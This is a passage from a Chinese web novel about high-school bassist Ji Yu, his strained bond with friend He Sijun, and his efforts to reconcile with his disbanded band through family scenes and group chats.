他哪有一次把他驱赶成功,明明贺思钧是获胜的一方,却还在向他摇尾乞怜。 喜欢果然是恐怖的东西,会情愿削去自己原本的面目,来讨他的欢心。 这次,纪羽更加坚定,不会把解开死结的绳头让给贺思钧。 “小羽,快下来,哥哥买了烧鸭回来!” 听到韩姨的声音,纪羽当即扔下信纸跑出房间,没几秒又折返回来,把纸叠好,塞进信封,塞进了床垫下。 “我来了我来了!” 第29章 烧鸭皮脆酥香, 肉汁丰盈,刚出炉那会儿风味最好,再往后耽误每一分钟, 口感就差一分。 烧鹅太肥,烧鸡太寡淡, 只有烧鸭是为数不多纪羽爱吃的,但纪律很少买外边的东西带回来。 这家烧鸭店食材新鲜,尝起来半点腥味也没, 在本地名头打得响, 生意火爆,日日门前大排长龙, 今天还是周六, 恐怕排队光顾的只多不少。 但想也知道,纪律肯定不是会去排队的人。 纪羽拣了一块腿肉啃巴两口, 猜他又是提高价钱从其他客人那收来的:“你又截胡别人啦, 劫富济贫?” “你的语文是谁教的?”纪律下意识皱眉,余光中韩姨向他使眼色, 他才稍稍和缓了表情。 “啊。”咬到一口已经软绵的脆皮, 纪羽张口吐到碟子里,“我跟你学的, 你教我说话的,上梁不正下梁歪。” 要知道纪羽会开口说爸爸妈妈以外的第一句话就是:“不要!” 谁让纪律在那时候就会冲还不会说话的婴儿教育:“你这个不要, 那个不要, 你到底要什么?” 父母东奔西忙, 只有早晚见得着,纪羽会说的很多话都是从纪律口中听来的。 纪律说什么,纪羽就跟着学, 纪律说他笨,纪羽就会在前面加上前缀:“哥哥,笨!” 这么说起来,他以前可比现在勇敢多了,至少不怕纪律。 纪羽扒了一口饭,又喝了一口水,打量着纪律的神色。 “世上还有一种购买方式,叫预订。” 居然没生气,纪羽又看了他两眼:“这家不是不可以预订吗?” 纪律淡淡地:“世界上没有绝对的不可以。” 呵,在家还装腔作势的,谁不会,纪羽挺直腰背,老气横秋地点点头:“那你很聪明了哦。” 纪律筷子一停,手指紧了紧,纪羽还当他故态复萌,又要开始教训人,正严阵以待,却听纪律不带斥责地说道:“吃饭少喝水,对消化不好。” “哦。”纪羽蔫吧下去,吃了一个鸭腿,没剩饭,最后跑去厨房偷摸盛了一碗甜汤喝了。 饭后韩姨把碗碟放进洗碗池,在廊下找到了纪律。 最近两兄弟都不在家吃饭,她也闲得慌,今天倒是好,凑在一块儿吃饭热热闹闹的,也没吵起来,小羽饭也吃得多了。 就这么安安稳稳地多好,等过两天纪泽兰和徐梁回来,他不知道得有多高兴。 “过几天小羽生日在家过还是出去过啊,我写了份菜单,你看看要是在家过要不要再添点什么,我提前准备一下。” 纪羽的成人礼在年初就办过了,所以生日当天不打算再铺张,按照以往的习惯,生日当天要是碰上周末,都是叫几个人来家里吃顿午饭,晚上就是徐梁下厨,一家人自己过。 “还没定。” 计划赶不上变化,下午纪泽兰打电话来,说是还在最后协商阶段,最迟明晚就能彻底定下。但说到底,拍板的人不是自己的人,会拖多久谁都说不清。 纪律掏外套口袋,没摸到烟盒,最近家里的烟总是不翼而飞,算起来,像是从上个礼拜开始的。 “明天我出去一趟,您不用做早饭,中午到十二点把纪羽叫起来吃饭。” “哎,那晚上呢,还回来吃饭吗?” 纪律沉思片刻,说:“我尽量。” 楼上,纪羽挪着步子把自己扔到床上,肩膀处有些轻微的酸胀。 早知道就不推贺思钧了,不然也不会没注意撞到餐桌还要忍着痛,免得影响他对上贺思钧的气势。 结果前脚吵架,今天又一起吃上饭了,还收了一封半吊子情书。 就算他和贺思钧不会走到相看两厌互扇耳光的程度,似乎也不该是现在这样。 纪羽想了一整天,也没想出挽救承风的具体方法,也没有得到处理贺思钧的新启发。 震动的音响,老麦随手抛起在半空转了几圈落下的鼓槌,电压不稳闪动的灯泡,贺思钧拿在手里凝着水珠的冷饮,桩桩件件从眼前闪过,纪羽偏头,看到桌脚边掉落的吉他拨片。 辽光三天两头丢拨片,起初纪羽捡到了还会还给他,后来发现拨片能失而复得的辽光更大手大脚,丢得更勤了,纪羽干脆自己收起来,以备不时之需。 或许潜意识里纪羽知道乐队里的其他人会原谅他的隐瞒和缺席,所以才一而再再而三地拖延,但人心中的思量是不能预见的。 在此之前,他也不知道辽光会有安稳工作的念头,他一向是乐队里最跳脱的,总是说着什么梦想啊成功啊之类的。 老麦虽然脾气燥,但情绪相对来说也很稳定,乐队是他一手组建起来的,场地费全靠他四处打工赚,修车、当酒吧安保、搬砖浇水泥,他什么都做。 贝旬一直没有表现出太多态度,但每次纪羽和辽光大吵大闹,拿音响轰人时都是他拔掉插头,主持公道。不过每次辽光都会说他偏心。 他们确实没有起过大的冲突,但好像也是因为太过顺遂,才没有攒起抵御风险的能力。 说到底,他们之间不够信任,也不够坚定。 那个顶替他完成决赛的贝斯手则赤裸裸地暴露了承风并不独特的本质问题。 什么梦想啊羁绊啊,都是放屁,他们连乐队所谓的灵魂都没触及到,能走到决赛已是幸运至极。 但纪羽的消失仍然是那条导火索。 纪羽不能无动于衷,也做不到把责任全部推卸。 在那个关头,他确实,更愿意也更希望贺思钧会为他分担他的慌乱、压力,甚至扛过属于他的愧疚。 夜色深深,月光洒落爬上纪羽的脚面。 纪羽怕情绪上头耽误时间,把布置的作业全写了才敢走到露台看手机。 老麦居然在不久前给他拨了电话,先前手机静音了没有听到,想到老麦生气时充血贲张的手臂肌肉,纪羽手一哆嗦就回拨了过去。 铃声响了好几遍才被接起。 “喂,是老麦吗?” “不是老子还能是谁?” 听起来很生气,纪羽本就紧张,现在更是在露台转着圈踱步。 什么事能让老麦这么火大?纪羽几乎是立刻想起贺思钧——“今晚我会和老麦单独谈一谈。” 不是让他别多管闲事了,还说会听自己的话,他到底干什么了? 纪羽心底在怒吼,嘴上仍是小心翼翼地猜测:“贺思钧去找你了?” “呵,”老麦听起来在抽烟,还是抽得很猛的态势,纪羽都能听见他咬扁烟嘴呲地一声,“那个傻逼,我以前怎么就没看出这个姓贺的心思那么恶毒?” 恶毒!天啊,纪羽第一次听到有人用这个词形容贺思钧,感觉贺思钧一下子聪明了十倍不止,心思格外地深沉。 自己用阴险、狡诈来形容贺思钧都显得善良又单纯了。 “你先不要生气,他找你说什么了?我有让他别去找你……” 纪羽的嗓音清脆,老麦的破二手手机音量调得很大,但传来的声音依旧带着模糊,绵绵的,像服软。 旁边的服务员像误解了什么,夸张地挑高眉毛,嘴撅起来就要吹口哨。 老麦瞪了人一眼,走到室外去:“他说和我有话要说,老子上班忙得要死,哪有空理他,结果今儿下午四点不到,他就到餐馆里头坐着了,就点了一份盖浇饭,才八块钱,占了半天位置,要不是我出门抽烟看到——阿雀,你是不是在笑?” 电话那头一时噤了声,隔了一会儿才义愤填膺地说道:“姓贺的真抠!” “重点不是这个,”老麦把烟灰碾在垃圾桶盖上,“我问他有什么事要说,他说……”- “没什么。” “没什么你在这儿跟老子玩呢,到底什么事,有屁快放。” 老麦啪嗒又点着一根烟,要是纪羽在这,他可能还会顾及一下别让祖国的花朵沾上二手烟,但贺思钧一张臭脸,熏就熏了,不抽一根他心里烦闷。 其实贺思钧找来之前,他也猜出来是为了决赛的事。 贺思钧那时也没报自己的姓名,是阿雀说他姓贺,于是大伙就都小贺小贺地叫。 小贺和阿雀形影不离的,每次排练阿雀都带着他,说是他离不开人,众人察觉出点异样但也看破不说破。老麦平常和他交流也不多,深的更没多问。 决赛当天,也是贺思钧给老麦发来消息请假,因此老麦知道,那天阿雀一直都和他在一块儿,具体发生了什么除了纪羽本人也只有贺思钧清楚。 纪羽明摆着不想说,老麦也不想追问。 谁身上没点秘密,无论是大是小,是否和他相关,只要本人不想说,那就没必要知道。老麦不做这种无谓的拉扯。 乐队解散也不是一个小孩的责任。 “我忘了要说什么。” 贺思钧个子比老麦还高点,却穿着一身校服,背了个傻缺的黑书包,老麦强忍住想揍他的冲动:“那你来干嘛来了?” 贺思钧面不改色,从口袋里掏出张折好的纸条。 “这上面是我面试和打工过的地方,待遇公平,比你现在的工作要好。” 这是来羞辱他来了,一个高中生还教他找上工作了?老麦脑门上青筋直蹦:“你就是来说这个?” “嗯,如果你的生活水平能有所改善,也会让其他人高兴。” “你是傻逼吗?”老麦忍不住骂出声,看着贺思钧像看着什么类人生物,心底发毛。 “不是。” 幸好,贺思钧不是脑子真有问题,挨了骂还是会反驳。 看样子贺思钧也不打算说清楚,老麦心里唾弃自己对那晚的事实升起了期待,灭了烟转头就走:“浪费老子时间。” “那天,”贺思钧突然开口,“是我拖着时间没让纪羽过去,他只差一点就能上台,不是他的错。对不起。” 即便是早秋,夜里的风也有点凉了,连带着人声也染上点萧瑟的味道。 老麦没回头,把纸条随意地塞进裤兜:“谁和小孩计较。” 话说得冲,但贺思钧一走,老麦还是向纪羽去了个电话,没接,老麦倒是松了一口气。 他也没想好要说什么- “他说没什么,没什么耽误老子十分钟,还教人挑上工作了!” 纪羽听着老麦受折磨的怒吼,心里生出点同病相怜的惺惺相惜:“他就是这样的人呀,你别多想。” 老麦又冷笑一声:“老子不是那小心眼的人,你把转账收了,一点饭钱还拿三撇四的,老子不差钱!” 说罢,就把电话给挂了。 纪羽被吼得呆了一会儿,才慢吞吞退出去找到老麦的聊天框。 【雀:[退回转账]】 【老麦:?】 【雀:我这个号没绑卡,你要加我另一个号。】 【雀推荐了一个联系人】 【老麦:[微笑]】—— 作者有话说:老麦:他有病吧? 小羽:嗯。 贺思钧:纪羽说得对。 第30章 【和气生财(5)】 廖永光17839238848:【卧槽!】 【我就知道!我就说了吧!看起来越乖的越会骗人!】 【一群傻叉被骗得团团转!】 【我也是服了, 哪儿都是高中生,高中生拯救世界,高中生青春疼痛, 高中生魔法少女,现在又一个高中生天才贝斯手了[赞]】 【哈哈, 没有说你弹得很好的意思@雀】 辽光自言自语地好一阵,发现群里没有一个人回他,又是勃然大怒。 【人呢, 死哪儿去了?!!】 【上台前急得半死, 现在一个个都不说话了,装什么?】 【……】 【什么意思你们, 不会都知道了吧?】 【只有我不知道?】 【@雀@雀@雀@雀@雀 说话!】 贝旬像是不堪其扰:【他在上课。】 辽光彻底怒了:【你还帮他说话???】 【别以为他是高三生我就不敢骂他, 谁没上过高中啊,我也读过一年半!】 【说来就来说走就走, 还以为有多硬气, 现在倒是道歉了,没想到吧, 老子都过上好日子了, 这个月奖金加绩效到手这个数:[六]】 老麦:【?】 【六千八!还是扣了五险一金的[傲慢]】 …… 群里冷寂一片。 【你们什么意思?你们什么意思!】 【好啊,你们就和高中生过去吧, 这个群也散了得了,我就多余说话。】 【不管你们怎么想, 我是绝对不会接受事情就这么被糊弄过去的, 说出去都没人敢信, 谁家乐队和打球似的,有人不来还能上替补。】 【你们不要解释,我要。】 …… 【行, 都不说话,那我退群了。】 距离辽光发出退群宣言已过去两小时,纪羽又确认了一遍群成员,仍是五人。 但再不回复,辽光可能真的要被气炸了。 【对不起】辽光想要的也不是他的道歉,纪羽哒哒哒删除,【其实我没】没有不到场,没有想过两个月杳无音信? 纪羽指尖悬而未决,却见群里有了新消息。 【J:@廖永光17839238848,是我的问题,你别骂他,可以骂我。】 ……纪羽几乎不假思索地删去键盘中的内容,打字回复道:【@J你能闭嘴吗?】 【J:能。】 纪羽一拳头砸到手机屏幕上,心里像烧开了一壶水,水汽顶着壶嘴发出尖锐的鸣叫。 啊! 烦死了烦死了! 手机微弱的光映出纪羽夹杂着羞愤和烦躁的脸,贺思钧到底是有脑子还是没脑子? 辽光的态度比他想象中好得多了,只是对他还有点情绪,虽然说的几句话确实不动听,他也有点生气,但! 但他本来就是要道歉的人,怎么能不服软让辽光消气呢? 贺思钧还在这里挑起是非,辽光看到贺思钧维护他肯定会更加火冒三丈,到时候只会两个人一起挨批! 以前也是这样,纪律因为他没看好贺思钧让他下水的事罚他抄了一天的三字经,贺思钧也和纪律起冲突:“是我自己要下去,和纪羽没关系。” 结果就是连着半个月纪律都把他带在身边看着,贺思钧被提回家挨了顿揍。 屏幕上方弹出贺思钧发来的私聊信息:【我闭嘴了,你不要生气。】 纪羽噼里啪啦地回复他:【不是说要听我的话,你又自作主张,你觉得你听话吗?一点都不!】 【J:对不起。】 【雀:你就会说对不起,你的对不起很了不起?】 【J:我没有了不起,小羽了不起。】 【雀:……】 【雀:滚!】 感觉很不对劲。 从前贺思钧说这种话纪羽只是气愤想砸他脑袋,现在却多了一丝异样的滋味,就像是打了贺思钧一巴掌,贺思钧还要在他手掌里拱几下,让纪羽又气又怕。 还不待纪羽深入解析贺思钧行为上的差异想出应对之策,辽光的信息一条接一条地传来。 他的真名怎么看怎么别扭,纪羽给他设了备注。 【辽光:行啊两个人在这情比金坚为兄弟两肋插腰你侬我侬伉俪情深情深深雨濛濛起来了】 【辽光:@J 不说话大家还能把你当哑巴】 【辽光:@J 现在知道找存在感了,决赛当天你人呢,打了那么多电话一概不回,也是给你太多好脸了,别以为你未成年我就怕你!找你家长过来我要谈谈你教育问题。】 【辽光:人呢?】 【雀:我】 纪羽大惊失色,他还没有准备好! 但辽光不需要思考和停顿,诘问劈头盖脸地砸来。 【辽光:急了?】 【辽光:我说他没说你是吧?】 【辽光:短信不知道回,电话不知道打,老子打报警电话报失踪,警察让我转林业局,你对得起老子吗?】 【辽光:我话费是不是你给充的?我真缺你这点?】 【辽光:[转账备注:老子不缺你这点破钱]】 【雀:[退回转账]】 【雀:对不起,我知道错了。】 纪羽从小到大其实没少犯过错:用徐梁的皮带当秋千绳,拿纪泽兰的保湿面霜给花朵美容,把纪律的衣服埋进土里试图种出一个新哥哥……每次被纪律抓住时他都会捏着手指,可怜巴巴地仰着头说:“不要叫纪羽的大名了,纪羽知道错了。” 虽然那都是无伤大雅的小事,不能与此事相提并论,但本能反应都是一样的。纪羽是真心道歉的。 【辽光:切。】 【辽光:我缺你这句道歉?】 【辽光:[转账备注:我让你收你就收]】 见好就收的道理纪羽懂,但这二百五十元他还是不想收…… 【雀:有机会我们可以当面说清楚,可以吗?】 【雀:[哭哭]】 【辽光:我不吃你这一套[微笑],我忙着呢,我要做成年人才能做的事,你懂吗?】 【老麦:差不多得了,你说的什么话?】 【贝旬:适可而止。】 【辽光:[图片]】 【辽光:我在加班,我在上班懂吗???】 【辽光:什么意思你们把我当什么人了?????】 【老麦:……】 【辽光:[微笑]坏人都我做是吧,你们一家亲吧[鼓掌]】 【雀:[图片]】 【雀:@廖永光17839238848 你的拨片还在我这里,你不要了吗?】 【辽光:哈!我就知道,拨片不可能无缘无故失踪,你居然有这么一盒,果然知人知面不知心,敌人就在我们内部。】 【辽光:也不值什么钱。】 幽幽白光灼着瞳孔,纪羽眼睛眨也不眨地盯着界面,眼球干涩。 【辽光:但毕竟是我的东西,还能让你占了便宜?】 【雀:那你什么时候来拿?】 【辽光:国庆。】 【辽光:又浪费老子一个假期。】 纪羽捏着手机在房间里跑过来,跑过去,只跑了一个来回,就累得倒在床尾的沙发里。 柔软的沙发将身体牢牢包裹,纪羽的脸热得红扑扑,把辽光的消息看了一遍又一遍,只要贝旬和老麦也同意见面,他们坐下来一起聊聊,说不定就不想解散了呢? 原来天不会那么容易就塌下来。 只要好好地去说,去表达,其他人未必不会听。 九月还没过完,纪羽却觉得这些天过得比过去两个月都要漫长。 暑假里他在做什么?好像都忘了,只是睡觉吃药,醒来时会想些乱七八糟的,梦里也很可怕,但都记不清了。 纪羽承认他很拖延,如果再早一点和其他人说清楚就好了,逃避根本解决不了问题。 可与此同时,心里还有一丝被压下的酸胀的滋味在冒头,纪羽刻意地不去深究。 纪羽切回大号,通过了老麦的好友申请,又搜索贝旬和辽光的账号申请添加,忙完一圈才想起来梁子尧要他通过好友申请的事。 不知道谁把他拉近了年级大群里,老麦的好友申请下还跟着一连串的申请信息,纪羽看得眼睛都花了,才从里面找出梁子尧。 比起热情的人,纪羽更倾向接触情绪稳定的朋友,至少不用过度担心一时热意什么时候会褪去,也不用去猜好感从何而来。 或许梁子尧就是天生外向的人,但纪羽仍然觉得他有点可疑。 而且在没有找到那个贝斯手前,梁子尧仍然有嫌疑。 他问过老麦和贺思钧,那个顶替他的人的长相和姓名,都没有一个确切的答案,这事儿又不能报警,难道要找传说中的私家侦探帮忙? 可他根本没听说过有人做这方面业务,在现代社会是违法的吧…… 而且他也没有很多钱。 纪羽在黑暗中在床上坐起来,要不上网发个帖子找一找万能且热心的网友? 不行! 在找到那个人之前,可能他自己就被扒得一干二净了。 纪羽倒回去,既然那个人这么胆大包天地敢顶替他,如果承风继续演出,他应该还会再出现吧? 到时候他就派贺思钧抓住他审问,将功赎罪。 如果真的抓到那个人,他要说点什么呢,谴责他的不良用心、居心叵测,然后呢……纪羽昏昏沉沉闭上的眼睛复又睁开,万一那个人说是他的狂热粉丝,怎么办? 怎么样才能狠狠地谴责他呢……纪羽努力挣扎着想出一个足以令他站在制高点上的万全说辞,思维却是越来越断续。 肚子里还鼓鼓胀胀的,他可真厉害,昨天还在崩溃大哭,今天不仅吃好喝好,还把作业都完成了。 他真的越来越成熟了。 30-40 第31章 即便纪羽极力拖延入睡, 但几乎是眼皮一落下,脑子里就什么也没了,直睡得天昏地暗。 连续半月晚睡早起, 这一睡就是十多个小时,中途有人来过, 说了两句话,纪羽也没听清,翻了个身继续睡。 梦境断断续续地接不上, 脑袋也沉, 潜意识里提醒着他该醒了,但纪羽还是把脸向枕头里边埋, 不肯睁眼。 不想起。 于是杂乱无章的梦又潜了进来。 承风似乎重新组建, 梦里一切一如以往,辽光在练习室里四处捡他丢失的拨片, 老麦咬着烟没有点燃, 还在刷招聘信息,贝旬问他要点什么外卖, 纪羽张口想要回答, 却有一道声音先于他答复。 纪羽气愤又害怕地左转右看,没有在练习室内见到其他人。 老麦问他怎么了, 纪羽问他有没有听到一道很像他的声音。 辽光笑嘻嘻地跑过来说,很像你的声音, 那不就是你自己吗, 发呆发傻了吧。 除了他其他人都笑了。 纪羽看向贝旬, 贝旬也在笑,说我已经下单了,别说不爱吃要反悔。 那确实是纪羽想要的餐, 那道声音像他的心声替他做了回答。 没有人把这件插曲当回事,练习再次开始,辽光又开起了玩笑,说贝斯没有声音啊,纪羽故意停下拨弦,那低频的声音仍在持续。 他大声叫停,但周围似乎没人听见,声音被淹没在和谐的乐声中…… 日头高悬,风把云吹着跑,天色时暗时亮。房间里拉着窗帘,不受干扰,仍是静谧的昏暗。 纪羽睁开沉重的眼皮,一栋熟悉的轮廓在眼前影影绰绰。 还在做梦吗。 闭上眼,再睁开。 人影靠近了。 “要喝点水吗?” 场景似曾相识,纪羽慢慢掀起眼皮,贺思钧站在床尾,不知道来了多久。 意料之外,情理之中。 纪羽甚至升不起一点念头去问贺思钧怎么又出现了,心里想着果然如此,四肢都沉得要命,情绪暂时被排在困倦的意识后。 不想说话也不想动,就这么躺着吧。 贺思钧也没能想到纪羽醒来后却是完全无视了自己,他稍向纪羽靠近了些,没得到纪羽排斥的反馈,蹲下身,极轻地碰了下纪羽的手背,微凉。 体温正常。 “韩姨说你还在睡,没想让我上来,我就在楼下等你,她不太高兴,还是让我上来了。”贺思钧破天荒地主动开口解释道。 自从上次纪羽从医院突然消失,再次回来却是贺思钧抱着他进了抢救室后,韩姨对他的态度便急转直下,像是嫌怨。 之后又多次在爱山住院楼外碰到,韩姨也没再和他主动打过招呼,对纪羽的近况更是缄口不言。 贺思钧倒不觉得韩姨对他不假辞色有什么不对,她是向着纪羽的,那就是正确,是再好不过。 今天韩姨却是破天荒地将他放了进来,还叮嘱他:“别呆头呆脑说些有的没的惹他不高兴,要是小羽不舒服,你马上下来告诉我,听到没?” 贺思钧想起上次他从露台进来,纪羽的情绪很差,虚弱却语调尖锐地问他:“你有没有把我当做一个人去尊重?” 他回想着,只觉得那时胸膛紧缩仿佛有什么摇摇欲坠的东西骤然垮塌,轰然掀起一片尘土,掩盖了心绪。 “你不想见我,我可以马上就走。”这句话说完显得太刚硬,贺思钧又补充,“我不是想逼你。” 纪羽垂着眼睛,视线落在他身上,却似乎什么也没听进去,半晌,贺思钧才看到纪羽翻了个身,侧躺着向他招了招手,让他靠近一点。 久违的亲近。贺思钧上身前倾,单膝落地,低下头贴近。 “没让你那么近。” 纪羽抬手抵在贺思钧脸上,把他的脑袋推远,声音轻飘飘地还带着刚睡醒的干涉,侧脸埋在枕头里,瞳孔表面像结了一层水壳,眼睛眨一下就岌岌可危,即将破裂。 “没有我的允许,你不许再来找我。” 啪嗒,水壳凝不住破裂,一颗水珠顺着纪羽的眼角滑进鬓发和枕头的缝隙里。 明知是醒来的生理性泪水,贺思钧仍是忍不住伸手。 “干什么,”纪羽很不高兴地打开他的手,“你说了要听我的话,你不遵守吗?” “我知道了,下次不会了。” 纪羽眯了眯眼,这是个常见的要纠错的严厉表情,于是贺思钧改口:“没有下次了。” 纪羽从鼻腔里嗯了一声,没有要起来的意思,但也没有把贺思钧立刻赶走,于是贺思钧下楼倒了杯水又回来:“韩姨泡的梨水,甜的,喝一点吧,待会儿我把饭端上来。” “不要。” 贺思钧看到纪羽又闭上了眼睛。 时间已经过了正午,要是再睡下去饿过了劲对身体不好。纪羽身上小毛病不少,最近二十多天除却意外摔倒只发了次低烧,已经是很少见的状态,要是由他放纵,饿狠了又不舒服又怎么办? 按照以往的解决方案,他该把纪羽抱起来,先把水喝了,再把饭端上来看着人吃完,中途少不了被纪羽掐一把踹一脚地泄愤。 但纪羽说不要,贺思钧才向他承诺过:只对纪羽一个人言听计从。 于是贺思钧什么都没做,又站到了床尾,盯着纪羽的脸观察着。 还好纪羽没有立刻把他赶走。 “哎呀,这都几点了,不吃饭啦?”没过多久,韩姨雷厉风行地爬上了楼,拉开窗帘,让阳光直射进来,“起床了起床了,做的饭都快凉了,到时候把肚子吃坏了怎么办?” 纪羽拧巴着脸向被子里缩,被韩姨揽着肩膀坐起来。 “乖乖,先不睡了,吃完要是还困再睡午觉行不行,三杯鸡还在锅里呢,快点刷牙洗脸,姨把最好的鸡腿肉盛起来给小羽啊。” “我想睡觉……”纪羽抱着韩姨的胳膊,不肯坐直,东倒西歪的,韩姨摸了摸他的额头,手心粗糙就用手背蹭了蹭他柔软的脸颊,怜爱道:“再困也不能不吃饭啊,本来我们上学就辛苦,都瘦了,再不吃把身体搞坏了怎么办,这学校也真是的,天天给我们搞那么早去上课,睡都不够睡。” 纪羽闭着眼睛蹭着韩姨的胳膊,不肯让她起身,头发凌乱:“我要吃鸡翅…不要鸡腿……” 韩姨哪有不应的:“好,鸡翅鸡腿都给我们小羽留着,快起来了。衣服要不要换,韩姨去……” “我去拿吧。”伫立一旁的贺思钧终于有了机会开口,走到衣帽间去。 拿到衣服出来时,韩姨端着喝了半杯的梨水正要下楼,闻声睨了眼他。 真不争气。 贺思钧站在原地理解了一会儿韩姨的眼神,才重新回到卧室里。 纪羽已经起床到卫生间刷牙,咕嘟咕嘟地在吐水。 贺思钧把衣服叠好放在床上等他。 “你怎么还没有走?”纪羽洗漱完走出来,他习惯性揉眼睛,眼角都是红的,头发用水沾湿试图定型,却成效不大,水珠从翘起的一缕发丝上坠落。 贺思钧克制着眼神紧紧跟随纪羽,微微低了点头:“我还有话想说。” “你哪来那么多话要说,”纪羽瞥了一眼床上放着的衣服,又警惕地看了一眼贺思钧,“还是你又写了什么奇怪的东西?” 无论贺思钧再写多少封情书,他都会拒绝的。 贺思钧愣了一下,才说:“我还没有再写。” “那你就不要写了。” 纪羽把衣服一股脑丢进衣帽间,转身时差点撞上贺思钧:“你离我远一点!” 贺思钧又道歉:“对不起。” 他退开几步,从口袋里取出一张信封。 “这是我买下贝斯分期付款的钱,这里有两千。” 这两天纪羽忙忙碌碌地解决各种大大小小的事儿,和贺思钧在公园的那个晚上他不想过多回忆,只想当那把贝斯摔了、毁了,哪里真想要贺思钧买下这把贝斯。 纪羽看着那笔钱,眼睛红得更厉害了:“我不要!” “我答应要给你。” “我没有答应你!” 那晚不知怎的就落到了那样个话题上,纪羽宁愿自己没有问贺思钧打算怎么办那句话。对于贝斯的处置,他根本没有心力去想。 “我不要贝斯,也不要你的钱。”纪羽挤开贺思钧下楼,贺思钧怕他着急绊了脚,落后几步跟在后面,也一直没有说话。 虽然心底有气,但韩姨到底没彻底无视贺思钧,仍问他吃没吃过午饭,要不要一起坐下来吃点。 贺思钧说吃过了,自觉地走到小院里站着。 餐厅时不时传来韩姨关切的说话声,纪羽兴致不高没说几句,但听声音至少没像以前那样吃了几口就放筷子。 “你怎么还没走。”站在廊下消食的纪羽又对贺思钧说。 贺思钧站在炽烈的阳光底下,眼眸仍旧深黑:“我会找到决赛当晚的贝斯手,你不要不高兴。” 纪羽很不高兴,但似乎又不是因为贺思钧在这里,而是不明白,明明昨晚他为看到承风重组的苗头而欢欣雀跃,今天却像是在鸡蛋里吃到石子硌掉了牙一样郁闷。 那颗无形的小石子滚落到他的胸口,不偏不倚地卡在肋骨之间,呼吸间被磨得钝痛。 他忍着这微小的不值一提的钝痛和逸散的思绪看向贺思钧,没有再说一些不需要的话。 贺思钧见他不言语,竟然又胆大包天地上前几步,纪羽站得更高,贺思钧仰视着他:“我仔细想过了,是我太蠢,才不知道你是最好的贝斯手,没有人可以替代你,就算只是一晚也不可以,是我没有考虑清楚,让人有了机会挤上舞台。” 如果重来一遍,贺思钧依旧会带着纪羽下车,但他一定会让贝斯手的位置空缺下来。 在几十个漫长的夜晚降临后,贺思钧终于学会问自己:他珍惜纪羽的方式,错了吗? 答案是,如果让纪羽不满,那他一定做错了。 人好像犯了错要想挽回就有了许多话想说,过去许多事似乎也并不圆满完美,贺思钧平生许多亏欠,也越发清晰地看到他在纪羽眼中的模样。 就算没有那一次的冲突,纪羽也早晚会把他甩到一边,是他占了太多的便宜,才会认为人生交叠的轨迹将会一直延续。 贺思钧再也不能耀武扬威,只能恳求道:“纪羽,我还有用处,再给我一点时间。” 第32章 “明月几时有~把酒问青天~” “不~知天上宫阙, 今夕是何年~” “今天是礼拜三,星期三,周三, Wednesday,不要再唱你们的破歌了。” “唉……”女生长叹一声趴在课桌上, “我怎么感觉已经过去了一辈子。” 邻桌男生附和道:“假如我从未得到过光明,黑暗就不会那么难熬……” 苏林翻了个白眼,懒得再搭理每日早中晚诉苦十遍的苦鸳鸯。 这种日子里竟然还能谈到一块儿去, 每周换座位就跟生离死别似的哭哭啼啼, 完全不能理解这些人在想什么。 “好了,趁着晚自习还没开始, 我们说一点开心的事吧。” 意思是又要开始谈一些有的没的八卦。苏林收拾卷子就要走, 却被女生扥回了原位。 “不讲错题我就走了,你们说的我又听不懂。” “哎, 今天说你懂的, 坐下嘛。”女生扇着她课间用手指捏翘的睫毛,男生点着刻意用发胶定过型的膨胀脑袋:“对啊对啊, 坐下嘛。” 苏林狐疑:“说什么?” 女生左看右看才俯下身, 将手掌圈在嘴边:“这两天纪羽心情好像很差,他都不怎么和人说话了, 你发现没有?” 冷冷的板着一张脸,课间就坐在位置上哪也不去, 这些天有意无意路过教室门口的人也多了不少。 苏林不明白这有什么好稀奇:“人总是会有几天不高兴的吧, 这很正常。” “不不不。”女生摇着指头, “对其他人来说很正常,但纪羽可不一样,我和他刚入学就是同班, 他从来没对别人发过脾气,说话也总笑,风评可好了。” 男生酸溜溜地补充:“你也挺喜欢找他聊天的,体育课还邀请人一起偷点外卖呢。” “咚”地一下女生拍在男生后脑勺:“你不也把绿色心情放化了请纪羽喝绿豆汤了?” “他也没喝啊!” “我话还没说完!” 男生缩了脖子,抬手示意女生继续说。“不过他也不是没有脾气啦,不过那时候还是有人让他出气……” 苏林答:“贺思钧?” “对对对,”女生激动地前倾上身,“你坐他们俩后边,有没有听到什么内幕啊,比如说他们俩为什么吵起来,发生了什么让他们到现在都没和好啊?” “我不知道。”苏林实话实说。 “真的?前几天贺思钧不是还递了道歉信给纪羽吗,难道没说什么特别的?”女生闪动着求真的眼神实在令人难以抗拒,但苏林依旧坚定地答道:“我也不知道。” 唯一的线索落空,女生失落地跌坐回座位:“奇了怪了呀,难道真是战书?可是贺思钧表现不像啊……” “就是贺思钧惹人生气了呗,写信求和没成功,纪羽不接受也很正常吧?”男生按捺不住出声打断,“从开学起他们俩表现就怪怪的,应该是冷战了,贺思钧想和好没成功,结果又吵了几架,纪羽想彻底掰了呗。” “不对。” “哪里不对?” “前段时间纪羽是无视贺思钧,不主动找他说话,但是最近他好像是也搭理贺思钧,就是语气像——” 苏林补上:“像使唤人。” 女生激动地握住苏林的胳膊:“对!感觉就像使唤一样,但贺思钧看着也没不乐意。” “他乐在其中呢!你不知道,有些人就是表面正常,内心就是喜欢受虐。”男生说着突然蹦起来叫了一声。 女生收回两根捏紧的手指:“什么叫受虐,按你说的,就是他做错事了呗,这不是理所应当的。” 女生脑海中闪过纪羽精致的脸,又说道:“就算不是他的错,他听纪羽的话怎么就是受虐了?如果就是他的错,他能把纪羽惹毛,那也不无辜,是他活该,而且纪羽能怎么折腾人啊?苏林,你说呢。” 苏林若有所思,拐回了越走越偏的话题:“其实我觉得,纪羽心情不好和使唤贺思钧是两码事。” 女生激动地拉着她的手:“你想到什么了,仔细说说。” 苏林没说什么,冷酷无情地拔出手臂起身,抛下两个字:“直觉。”- 与此同时,校外,纪羽抬头望着天边的云被渐渐织上色彩浓重的金线,飞机划破天际的轰鸣声自头顶远去。 “走慢一点。” 纪羽抬起脚踝撞在贺思钧腿侧,一阵轻微的失重感,他又被托得向上趴了一点。 “好。”贺思钧放慢脚步,把腰胯两侧纪羽的腿扣得更紧一些,夕阳余晖将他们交融的影子映在长长的桥面。 下午最后一节课结束,贺思钧收拾东西准备离开,纪羽却叫住了他,和他一起出了校门。 “背我走回去,不许坐车。”纪羽吩咐道。 贺思钧把包拎在手上,背起了纪羽,走了半小时,路程也只走过了一小半。 “是哪里不舒服,还是不开心?”贺思钧问。 纪羽很凶:“闭嘴,你走你的路,你再说话就把我放下去。” 